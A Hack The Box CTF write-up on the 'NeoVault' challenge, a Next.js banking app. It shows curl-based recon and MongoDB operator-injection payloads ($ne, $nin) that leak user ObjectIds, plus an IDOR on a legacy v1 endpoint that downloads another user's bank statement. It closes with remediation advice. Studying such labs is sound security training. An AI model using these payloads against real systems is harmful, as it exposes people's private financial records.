> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hackthebox/neovault-challenge-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# NeoVault Challenge Writeup

## Summary

NeoVault is a small banking app (Next.js frontend + REST API) that lets users register, transfer funds, and download PDF statements. The API ships in two parallel versions, v1 and v2. v2 patched an authorization bug on the statement-download endpoint but left the vulnerable v1 route reachable, and a separate lookup endpoint (`/api/v2/auth/inquire`) was vulnerable to MongoDB operator injection. Chaining the two — using the injection to find a target user's ObjectId, then feeding that ID into the unpatched v1 download endpoint — pulls another user's bank statement, which contains the flag.

## Recon — Mapping the API

Started by poking the app manually with curl to see what was there:

```bash
curl http://<MACHINE-IP>:31964/login
```

This returned the full server-rendered HTML of a Next.js login page — email/password form and a link to `/register`. Nothing API-specific appeared in the raw HTML, but Next.js ships its client bundle references inline (`self.__next_f.push(...)`), which point at the JS chunks that drive the forms. The same behavior appeared on `/register`, which showed a username/email/password form.

Tried posting directly to the page route to see whether it doubled as an API endpoint:

```bash
curl http://<MACHINE-IP>:31964/register \
  -H "Content-Type: application/json" \
  -d '{"username":"tester001", "email":"a@a.com", "password":"testtest"}'
```

```
405: Method Not Allowed
```

This confirms `/register` is a page, not an API route — the real submit handler lives elsewhere. Pulled the JS chunks referenced by the login/register pages and grepped them for API paths:

```bash
curl -s http://<MACHINE-IP>:31964/_next/static/chunks/942-89a992883d25b0cc.js -o form-shared.js
curl -s http://<MACHINE-IP>:31964/_next/static/chunks/app/register/page-c76900542afe702c.js -o register-page.js
curl -s http://<MACHINE-IP>:31964/_next/static/chunks/app/login/page-fd11beaf97df8829.js -o login-page.js

grep -oE '"/api/[a-zA-Z0-9/_-]*"' form-shared.js register-page.js login-page.js
```

That surfaced the full route map, duplicated across two API versions:

```
/api/v1/auth/{me,login,register,logout,change-email}
/api/v1/transactions/{,deposit,balance-history,categories-spending,download-transactions}
/api/v2/auth/{me,login,register,logout,change-email,inquire}
/api/v2/transactions/{,deposit,balance-history,categories-spending,download-transactions}
```

One route has no v1 counterpart: **`/api/v2/auth/inquire`**. A v2-only addition usually means newer, less battle-tested code — worth prioritizing.

A cleaner look at the same data came out of the endpoint config object bundled in `register-page.js`:

```js
{endpointsV1:{me:"/api/v1/auth/me", login:"/api/v1/auth/login", ..., downloadTransactions:"/api/v1/transactions/download-transactions"},
 endpointsV2:{me:"/api/v2/auth/me", login:"/api/v2/auth/login", ..., downloadTransactions:"/api/v2/transactions/download-transactions", inquireUser:"/api/v2/auth/inquire"}}
```

## Getting an Account

```bash
curl -s -X POST http://<MACHINE-IP>:31964/api/v2/auth/register \
  -H "Content-Type: application/json" \
  -d '{"username":"tester001","email":"a@a.com","password":"testtest"}'
```

```json
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...."}
```

The response is a JWT, but the app actually authenticates over an **httpOnly cookie** named `token` — confirmed later via `curl -v` — not a manually attached Bearer header. The frontend's fetch calls all set `credentials:"include"`.

Log in properly and save the cookie jar:

```bash
curl -s -X POST http://<MACHINE-IP>:31964/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"a@a.com","password":"testtest"}' \
  -c cookies.txt

curl -s http://<MACHINE-IP>:31964/api/v2/auth/me -b cookies.txt
```

```json
{"message":"Authorized","_id":"6a5464fb505efa8a78b0cec9","username":"tester001","balance":100,"email":"a@a.com"}
```

{% hint style="warning" %}
The session cookie is short-lived (`Max-Age=3600`), so it needed refreshing more than once over the course of the box. Some later requests failed with `{"message":"Unauthorized"}` because the cookie had gone stale, not because of a real authorization issue.
{% endhint %}

## Vulnerability 1 — NoSQL Injection on `/api/v2/auth/inquire`

A normal lookup by username behaved like a real database query rather than a canned response:

```bash
curl -s -G "http://<MACHINE-IP>:31964/api/v2/auth/inquire" \
  --data-urlencode 'username=admin' -b cookies.txt
```

```json
{"message":"User not found"}
```

Since every `_id` in the app is a Mongo-style ObjectId, and Express turns bracketed query params (`field[$op]=value`) into nested objects, this looked like a candidate for MongoDB operator injection — a `findOne({ username: req.query.username })` call that never sanitizes what it receives.

Tested it:

```bash
curl -s -G "http://<MACHINE-IP>:31964/api/v2/auth/inquire" \
  --data-urlencode 'username[$ne]=null' -b cookies.txt
```

```json
{"_id":"6a546264505efa8a78b0cebb","username":"neo_system"}
```

Confirmed: sending `username[$ne]=null` turned the query into “match any user whose username isn't null,” and Mongo returned whichever document it found first (`neo_system`, the system account that sends the welcome bonus).

Exclude known usernames with `$nin` to dig further:

```bash
curl -s -G "http://<MACHINE-IP>:31964/api/v2/auth/inquire" \
  --data-urlencode 'username[$nin][]=neo_system' \
  --data-urlencode 'username[$nin][]=tester001' \
  -b cookies.txt
```

```json
{"_id":"6a546265505efa8a78b0cec0","username":"user_with_flag"}
```

Found the target account and its ObjectId. The `/inquire` response only leaks `_id` and `username`, regardless of how it is queried. Confirmed with a direct, non-injected lookup:

```bash
curl -s -G "http://<MACHINE-IP>:31964/api/v2/auth/inquire" \
  --data-urlencode 'username=user_with_flag' -b cookies.txt
```

```json
{"_id":"6a546265505efa8a78b0cec0","username":"user_with_flag"}
```

The endpoint is therefore a stepping stone to get an ObjectId, not the full exploit.

Also tried the same technique against `/api/v2/auth/login`, hoping for an auth bypass:

```bash
curl -s -X POST "http://<MACHINE-IP>:31964/api/v2/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"user_with_flag","password":{"$ne":null}}'
```

```json
{"message":"Validation failed","errors":[{},{}]}
```

Login has real input validation, so this injection class was only live on the newer, less-tested `/inquire` route.

## Dead End — Poking `/transactions` and `/deposit` for IDOR Parameters

Before finding the real bug, tried passing a target user ID directly to the transactions list and deposit endpoints, on the theory they might accept a `userId` or `toUser` override:

```bash
curl -s "http://<MACHINE-IP>:31964/api/v2/transactions?userId=6a546265505efa8a78b0cec0" -b cookies.txt | jq
```

```json
{
  "transactions": [ { ... same single "Welcome bonus credit" transaction as before ... } ],
  "pagination": { "total": 1, "page": 1, "pages": 1 }
}
```

The `userId` parameter was silently ignored — results stayed scoped to the logged-in session regardless.

The same happened with a path-style ID and a body-based `userId` on deposit:

```bash
curl -s "http://<MACHINE-IP>:31964/api/v2/transactions/6a546265505efa8a78b0cec0" -b cookies.txt
```

```
Cannot GET /api/v2/transactions/6a546265505efa8a78b0cec0
```

```bash
curl -s -X POST "http://<MACHINE-IP>:31964/api/v2/transactions/deposit" -b cookies.txt \
  -H "Content-Type: application/json" \
  -d '{"toUser":"6a546265505efa8a78b0cec0","amount":1,"description":"test"}'
```

```json
{"message":"Unauthorized"}
```

That last `Unauthorized` response came from a stale cookie, not a real rejection of the field. However, the `userId` override on `/transactions` genuinely does not work. The v2 transaction endpoints correctly scope everything server-side.

The real bug lives on the download endpoint instead, specifically its v1 counterpart.

## Vulnerability 2 — IDOR via Legacy API Version on Statement Download

The transactions tab in the app exposes a PDF statement download:

```bash
curl -s -X POST "http://<MACHINE-IP>:31964/api/v2/transactions/download-transactions" -b cookies.txt -o out.pdf
file out.pdf
```

```
out.pdf: PDF document, version 1.3, 1 page(s)
```

```bash
pdftotext out.pdf -
```

```
NeoVault BANK STATEMENT
Account Holder Information
Username: tester001
...
Total Credits: $100.00
Total Debits: $0.00
```

Passing an arbitrary `userId` in the v2 request body was silently ignored, just like the transactions list. v2 correctly scopes the statement to the authenticated session regardless of the body contents.

Confirmed that authentication was actually enforced by making the request without a cookie:

```bash
curl -s -X POST "http://<MACHINE-IP>:31964/api/v2/transactions/download-transactions"
```

```json
{"message":"Unauthorized"}
```

The interesting behavior showed up on **v1**: calling the equivalent old-version route with an `_id` field in the body works for any ID. v1 never received the session-scoping fix that v2 has, and instead trusts a client-supplied identifier directly:

```bash
curl -s -X POST "http://<MACHINE-IP>:31964/api/v1/transactions/download-transactions" \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -d '{"_id":"6a546265505efa8a78b0cec0"}' \
  -o flag_user_statement.pdf

file flag_user_statement.pdf
```

```
flag_user_statement.pdf: PDF document, version 1.3, 1 page(s)
```

```bash
pdftotext flag_user_statement.pdf -
```

```
NeoVault BANK STATEMENT
Account Holder Information
Username: user_with_flag

Date        From             To               Description              Amount
7/6/2026    user_with_flag   user_with_flag   HTB{REDACTED}            1337.00
7/6/2026    neo_system       user_with_flag   Welcome bonus credit     1337.00

Transaction Summary
Total Credits: $0.00
Total Debits: $2674.00
```

Supplying `user_with_flag`'s ObjectId to the v1 endpoint returned their full statement with no check that the requester owned that account — a classic Broken Object-Level Authorization / IDOR bug. It is exploitable because the authorization logic fixed in v2 was never backported to, or removed from, the old version.

The flag sits in the description field of a self-transaction the target account made to itself.

## Attack Chain

{% stepper %}
{% step %}

## Register and authenticate

Register an account, then authenticate using the httpOnly `token` cookie.
{% endstep %}

{% step %}

## Enumerate API routes

Inspect Next.js JavaScript bundles to discover `/api/v2/auth/inquire`, a v2-only route with no v1 equivalent.
{% endstep %}

{% step %}

## Extract target ObjectIds

Exploit NoSQL operator injection on `/api/v2/auth/inquire` using `username[$ne]=null` and `username[$nin][]` parameters to leak ObjectIds for other users, including `user_with_flag`.
{% endstep %}

{% step %}

## Use the unpatched v1 statement endpoint

Send the target ObjectId to `/api/v1/transactions/download-transactions`, which accepts a client-supplied `_id` without verifying ownership.
{% endstep %}

{% step %}

## Download the target statement

Retrieve `user_with_flag`'s PDF bank statement and extract the flag from a transaction description.
{% endstep %}
{% endstepper %}

## Key Vulnerabilities

| # | Vulnerability                                     | Location                                          | Impact                                                                                    |
| - | ------------------------------------------------- | ------------------------------------------------- | ----------------------------------------------------------------------------------------- |
| 1 | NoSQL operator injection (`$ne`, `$nin`)          | `GET /api/v2/auth/inquire`                        | Enumerate arbitrary user accounts and their ObjectIds                                     |
| 2 | Broken Object-Level Authorization (IDOR)          | `POST /api/v1/transactions/download-transactions` | Download any user's PDF bank statement by supplying their `_id`                           |
| 3 | Inconsistent security posture across API versions | v1 vs v2 routes                                   | Legacy endpoints left live without the authorization fixes applied to the current version |

## Root Cause & Fix

* **Sanitize query/body input before it reaches a Mongoose query.** Reject non-string types on fields like `username`, or use `express-mongo-sanitize` to strip `$`-prefixed keys.
* **Retire deprecated API versions**, or ensure every version enforces the same authorization checks as the current one — do not fix a bug in v2 and leave v1 reachable with the old vulnerable logic.
* **Never trust a client-supplied user/account identifier** for “my own resource” actions. Always derive the target user from the authenticated session server-side, not from the request body.

## Tools Used

* `curl` — manual request crafting, endpoint discovery, and auth flow
* `grep` — extracting API routes and endpoint configuration from Next.js JavaScript bundles
* `pdftotext` (poppler-utils) — extracting text from downloaded PDF statements
